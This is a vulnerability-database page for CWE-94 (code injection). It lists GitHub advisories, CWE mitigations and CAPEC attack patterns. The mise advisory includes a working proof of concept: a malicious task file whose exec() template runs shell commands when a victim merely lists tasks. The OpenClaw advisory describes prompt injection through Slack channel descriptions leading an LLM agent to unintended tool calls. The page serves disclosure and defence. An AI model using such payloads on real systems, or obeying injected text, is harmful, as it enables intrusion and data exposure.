Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8378 vulnerabilities reference this CWE, most recent first.

GHSA-776G-H476-XGHM

Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-11 00:00
VLAI
Details

A remote code execution (RCE) vulnerability in template_user.php of ZZCMS version 2018 allows attackers to execute arbitrary PHP code via the "ml" and "title" parameters.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-19822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-26T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "A remote code execution (RCE) vulnerability in template_user.php of ZZCMS version 2018 allows attackers to execute arbitrary PHP code via the \"ml\" and \"title\" parameters.",
  "id": "GHSA-776g-h476-xghm",
  "modified": "2022-07-11T00:00:21Z",
  "published": "2022-05-24T19:12:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19822"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/96.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seabird1992/TEST123/blob/master/071711233468_0zzcms.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7773-CMC4-R8G7

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details

install/install.php in CIM 0.9.3 allows remote attackers to execute arbitrary PHP code via a crafted prefix value because of configuration file mishandling in the N=83 case, as demonstrated by a call to the PHP fputs function that creates a .php file in the public folder.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-7692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-02-10T16:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "install/install.php in CIM 0.9.3 allows remote attackers to execute arbitrary PHP code via a crafted prefix value because of configuration file mishandling in the N=83 case, as demonstrated by a call to the PHP fputs function that creates a .php file in the public folder.",
  "id": "GHSA-7773-cmc4-r8g7",
  "modified": "2022-05-13T01:22:52Z",
  "published": "2022-05-13T01:22:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AvaterXXX/CVEs/blob/master/cim.md#getshell"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77C4-M4JJ-64Q2

Vulnerability from github – Published: 2024-02-05 00:30 – Updated: 2024-02-13 03:30
VLAI
Details

Malwarebytes Binisoft Windows Firewall Control before 6.9.9.2 allows remote attackers to execute arbitrary code via gRPC named pipes.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-25089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-04T22:15:23Z",
    "severity": "CRITICAL"
  },
  "details": "Malwarebytes Binisoft Windows Firewall Control before 6.9.9.2 allows remote attackers to execute arbitrary code via gRPC named pipes.",
  "id": "GHSA-77c4-m4jj-64q2",
  "modified": "2024-02-13T03:30:20Z",
  "published": "2024-02-05T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25089"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2300061"
    },
    {
      "type": "WEB",
      "url": "https://www.binisoft.org/changelog.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77FW-MC6X-HXFR

Vulnerability from github – Published: 2022-05-01 18:44 – Updated: 2022-05-01 18:44
VLAI
Details

PHP remote file inclusion vulnerability in admin/frontpage_right.php in Agares Media phpAutoVideo 2.21 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter, a related issue to CVE-2007-6542.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-03T23:46:00Z",
    "severity": "MODERATE"
  },
  "details": "PHP remote file inclusion vulnerability in admin/frontpage_right.php in Agares Media phpAutoVideo 2.21 allows remote attackers to execute arbitrary PHP code via a URL in the loadadminpage parameter, a related issue to CVE-2007-6542.",
  "id": "GHSA-77fw-mc6x-hxfr",
  "modified": "2022-05-01T18:44:40Z",
  "published": "2022-05-01T18:44:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6614"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4782"
    },
    {
      "type": "WEB",
      "url": "http://forums.agaresmedia.com/viewtopic.php?f=13\u0026t=407"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/39617"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28230"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27023"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/4319"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-77G9-363W-RCCQ

Vulnerability from github – Published: 2026-06-23 18:24 – Updated: 2026-06-23 18:24
VLAI
Summary
Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository
Details

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

  • src/config/config_file/mise_toml.rs:276MiseToml::from_strtrust_check(path)?
  • src/config/config_file/tool_versions.rs:62.tool-versions parser → trust_check(&path)?
  • src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs
    .iter()
    .find_map(|cf| match cf.task_config_includes() { … })
    .transpose()?
    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes
…
for include in &includes {
    let paths = … expand_task_include(&resolve_dir, include);
    for p in paths {
        let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?;
        …
    }
}

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?;
let mut tasks = toml::from_str::<Tasks>(&raw) … ;        // no trust_check
…
resolve_task_template(&mut task, templates)?;
if let Err(err) = task.render(config, &config_root).await { … }  // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root));
…
if contains_template_syntax(&self.description) {
    self.description = render_str(&mut tera, &self.description, &tera_ctx)?;
}

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera {
    let mut tera = TERA.clone();
    let dir = dir.map(PathBuf::from);
    tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));
    tera.register_function("read_file", tera_read_file(dir));
    tera
}

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/
└── mise-tasks/
    └── ci.toml

mise-tasks/ci.toml:

[test]
description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}"
run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)"          # nothing pre-trusted
export MISE_TRUSTED_CONFIG_PATHS=""
cd malicious-repo
mise tasks            # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt
uid=1000(miau) gid=1000(miau) groups=1000(miau)…
linux 
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "mise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732",
      "CWE-78",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T18:24:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nmise\u0027s trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, \u2026) but no config file, mise falls back to the default includes and renders each task\u0027s tera fields \u2014 and that tera environment has `exec()` registered. A `{{ exec(command=\u0027\u2026\u0027) }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There\u0027s no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task\n## Details\n\nTrust is enforced only inside config-file parsing:\n\n- `src/config/config_file/mise_toml.rs:276` \u2014 `MiseToml::from_str` \u2192 `trust_check(path)?`\n- `src/config/config_file/tool_versions.rs:62` \u2014 `.tool-versions` parser \u2192 `trust_check(\u0026path)?`\n- `src/config/env_directive/mod.rs:681` \u2014 env templates \u2192 `trust_check(path)?` (only when the value contains template syntax)\n\nTask-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`,\nwhich walk every directory from CWD up to root. For each directory, `configs_at_root`\nreturns the parsed (trusted) configs rooted there; **if there is no config in the\ndirectory**, mise falls back to the default task-include list resolved relative to that\ndirectory and loads whatever it finds \u2014 with no trust check:\n\n`src/config/mod.rs` (`load_tasks_in_dir`, ~2586):\n```rust\nlet (includes, resolve_dir) = configs\n    .iter()\n    .find_map(|cf| match cf.task_config_includes() { \u2026 })\n    .transpose()?\n    .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -\u003e default includes\n\u2026\nfor include in \u0026includes {\n    let paths = \u2026 expand_task_include(\u0026resolve_dir, include);\n    for p in paths {\n        let mut loaded = load_tasks_includes(config, \u0026p, dir, \u0026task_config_dir, templates).await?;\n        \u2026\n    }\n}\n```\n\n`default_task_includes()` (`src/config/mod.rs:1825`):\n```rust\nvec![\"mise-tasks\", \".mise-tasks\", \".mise/tasks\", \".config/mise/tasks\", \"mise/tasks\"]\n```\n\n`load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check\nand renders each task:\n```rust\nlet raw = file::read_to_string_async(path).await?;\nlet mut tasks = toml::from_str::\u003cTasks\u003e(\u0026raw) \u2026 ;        // no trust_check\n\u2026\nresolve_task_template(\u0026mut task, templates)?;\nif let Err(err) = task.render(config, \u0026config_root).await { \u2026 }  // renders tera, incl. exec()\n```\n\n`Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera\ninstance is built with `get_tera(Some(config_root))`:\n```rust\nlet mut tera = get_tera(Some(config_root));\n\u2026\nif contains_template_syntax(\u0026self.description) {\n    self.description = render_str(\u0026mut tera, \u0026self.description, \u0026tera_ctx)?;\n}\n```\n\n`get_tera` (`src/tera.rs:407`) registers the command-executing functions:\n```rust\npub fn get_tera(dir: Option\u003c\u0026Path\u003e) -\u003e Tera {\n    let mut tera = TERA.clone();\n    let dir = dir.map(PathBuf::from);\n    tera.register_function(\"exec\", tera_exec(dir.clone(), env::PRISTINE_ENV.clone()));\n    tera.register_function(\"read_file\", tera_read_file(dir));\n    tera\n}\n```\n\nSo a tera `{{ exec(command=\u0027\u2026\u0027) }}` placed in any rendered task field\n(`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, \u2026) of a TOML\ntask file \u2014 or in a `#MISE description=\"\u2026\"` header of an executable script task\n(`Task::from_path`) \u2014 executes when the task is merely *loaded for listing*, with no\ntrust prompt. `exec()` is not gated by `experimental` (default `experimental = false`).\n\n## Proof of concept\n\nTested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a\npristine `HOME` so nothing is pre-trusted.\n\nRepo layout :\n```\nmalicious-repo/\n\u2514\u2500\u2500 mise-tasks/\n    \u2514\u2500\u2500 ci.toml\n```\n\n`mise-tasks/ci.toml`:\n```toml\n[test]\ndescription = \"{{ exec(command=\u0027id \u003e /tmp/mise_clone_proof.txt; hostname \u003e\u003e /tmp/mise_clone_proof.txt\u0027) }}\"\nrun = \"cargo test\"\n```\n\nTrigger (any of these; a victim who has `mise activate` set up hits the last one by just\npressing Tab to complete a task name):\n```bash\nexport HOME=\"$(mktemp -d)\"          # nothing pre-trusted\nexport MISE_TRUSTED_CONFIG_PATHS=\"\"\ncd malicious-repo\nmise tasks            # or: mise task ls / mise run / mise tasks --usage\n```\n\noutput:\n```\ntest\n```\nand the side effect :\n```\nmiau@linux:~$ cat /tmp/mise_clone_proof.txt\nuid=1000(miau) gid=1000(miau) groups=1000(miau)\u2026\nlinux \n```",
  "id": "GHSA-77g9-363w-rccq",
  "modified": "2026-06-23T18:24:08Z",
  "published": "2026-06-23T18:24:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdx/mise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository"
}

GHSA-77Q6-5H9C-2C36

Vulnerability from github – Published: 2024-05-01 21:30 – Updated: 2024-07-03 18:38
VLAI
Details

An issue in phiola/src/afilter/pcm_convert.h:513 of phiola v2.0-rc22 allows a remote attacker to execute arbitrary code via the a crafted .wav file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-33430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-482",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T19:15:27Z",
    "severity": "HIGH"
  },
  "details": "An issue in phiola/src/afilter/pcm_convert.h:513 of phiola v2.0-rc22 allows a remote attacker to execute arbitrary code via the a crafted .wav file.",
  "id": "GHSA-77q6-5h9c-2c36",
  "modified": "2024-07-03T18:38:26Z",
  "published": "2024-05-01T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stsaz/phiola/issues/28"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/phiola/segmentFault-1/poc/I2ZFI3~5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/phiola/segmentFault-1/segmentFault-1.assets/image-20240420011601263.png"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/blob/master/phiola/segmentFault-1/segmentFault-1.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/tree/master/phiola/segmentFault-1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Helson-S/FuzzyTesting/tree/master/phiola/segmentFault-1/poc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stsaz/phiola"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-77W2-V593-VXVV

Vulnerability from github – Published: 2026-01-30 21:30 – Updated: 2026-02-01 18:07
VLAI
Summary
Salt junos Module Vulnerable to Code Injection via Specially Crafted YAML Payload
Details

Salt's junos execution module contained an unsafe YAML decode/load usage. A specially crafted YAML payload processed by the junos module could lead to unintended code execution under the context of the Salt process.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "salt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3006.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62348"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-01T18:07:48Z",
    "nvd_published_at": "2026-01-30T19:16:10Z",
    "severity": "HIGH"
  },
  "details": "Salt\u0027s junos execution module contained an unsafe YAML decode/load usage. A specially crafted YAML payload processed by the junos module could lead to unintended code execution under the context of the Salt process.",
  "id": "GHSA-77w2-v593-vxvv",
  "modified": "2026-02-01T18:07:48Z",
  "published": "2026-01-30T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62348"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltstack/salt/issues/68469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saltstack/salt/pull/68472/commits/c17fd645edef208233dcac855615fced69409a00"
    },
    {
      "type": "WEB",
      "url": "https://docs.saltproject.io/en/latest/topics/releases/3006.17.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saltstack/salt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Salt junos Module Vulnerable to Code Injection via Specially Crafted YAML Payload"
}

GHSA-77WX-CF44-5RXX

Vulnerability from github – Published: 2025-05-22 21:30 – Updated: 2025-05-22 21:30
VLAI
Details

Predictable filename vulnerabilities in ASPECT may expose sensitive information to a potential attacker if administrator credentials become compromisedThis issue affects ASPECT-Enterprise: through 3.; NEXUS Series: through 3.; MATRIX Series: through 3.*.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-22T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "Predictable filename vulnerabilities in ASPECT may expose sensitive information to a potential attacker if administrator credentials become compromisedThis issue affects ASPECT-Enterprise: through 3.*; NEXUS Series: through 3.*; MATRIX Series: through 3.*.",
  "id": "GHSA-77wx-cf44-5rxx",
  "modified": "2025-05-22T21:30:47Z",
  "published": "2025-05-22T21:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13952"
    },
    {
      "type": "WEB",
      "url": "https://search.abb.com/library/Download.aspx?DocumentID=9AKK108471A0021\u0026LanguageCode=en\u0026DocumentPartId=pdf\u0026Action=Launch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-782P-5FR5-7FJ8

Vulnerability from github – Published: 2026-02-17 18:40 – Updated: 2026-02-19 21:14
VLAI
Summary
OpenClaw Affected by Remote Code Execution via System Prompt Injection in Slack Channel Descriptions
Details

Summary

When the Slack integration is enabled, Slack channel metadata (topic/description) could be incorporated into the model's system prompt.

Impact

Prompt injection is a documented risk for LLM-driven systems. This issue increased the injection surface by allowing untrusted Slack channel metadata to be treated as higher-trust system input.

This is relevant only for deployments that enable Slack. In deployments where tool execution is enabled, a successful injection could lead to unintended tool invocations and/or unintended data exposure.

Affected Packages / Versions

  • npm: openclaw < 2026.2.3

Patched Versions

  • npm: openclaw >= 2026.2.3

Mitigation

  • If you do not use Slack: no action required.
  • If you use Slack: upgrade to a patched version.

Fix Commit(s)

  • 35eb40a7000b59085e9c638a80fd03917c7a095e

Thanks @KonstantinMirin for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T18:40:11Z",
    "nvd_published_at": "2026-02-19T07:17:44Z",
    "severity": "LOW"
  },
  "details": "## Summary\nWhen the Slack integration is enabled, Slack channel metadata (topic/description) could be incorporated into the model\u0027s system prompt.\n\n## Impact\nPrompt injection is a documented risk for LLM-driven systems. This issue increased the injection surface by allowing untrusted Slack channel metadata to be treated as higher-trust system input.\n\nThis is relevant only for deployments that enable Slack. In deployments where tool execution is enabled, a successful injection could lead to unintended tool invocations and/or unintended data exposure.\n\n## Affected Packages / Versions\n- npm: `openclaw` \u003c 2026.2.3\n\n## Patched Versions\n- npm: `openclaw` \u003e= 2026.2.3\n\n## Mitigation\n- If you do not use Slack: no action required.\n- If you use Slack: upgrade to a patched version.\n\n## Fix Commit(s)\n- 35eb40a7000b59085e9c638a80fd03917c7a095e\n\nThanks @KonstantinMirin for reporting.",
  "id": "GHSA-782p-5fr5-7fj8",
  "modified": "2026-02-19T21:14:23Z",
  "published": "2026-02-17T18:40:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-782p-5fr5-7fj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/35eb40a7000b59085e9c638a80fd03917c7a095e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw Affected by Remote Code Execution via System Prompt Injection in Slack Channel Descriptions"
}

GHSA-7832-V88Q-GGQQ

Vulnerability from github – Published: 2022-05-17 03:01 – Updated: 2022-05-17 03:01
VLAI
Details

Akamai NetSession 1.9.3.1 is vulnerable to DLL Hijacking: it tries to load CSUNSAPI.dll without supplying the complete path. The issue is aggravated because the mentioned DLL is missing from the installation, thus making it possible to hijack the DLL and subsequently inject code within the Akamai NetSession process space.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-10157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-01-23T07:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "Akamai NetSession 1.9.3.1 is vulnerable to DLL Hijacking: it tries to load CSUNSAPI.dll without supplying the complete path. The issue is aggravated because the mentioned DLL is missing from the installation, thus making it possible to hijack the DLL and subsequently inject code within the Akamai NetSession process space.",
  "id": "GHSA-7832-v88q-ggqq",
  "modified": "2022-05-17T03:01:42Z",
  "published": "2022-05-17T03:01:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10157"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/140366/Akamai-NetSession-1.9.3.1-DLL-Hijacking.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95995"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.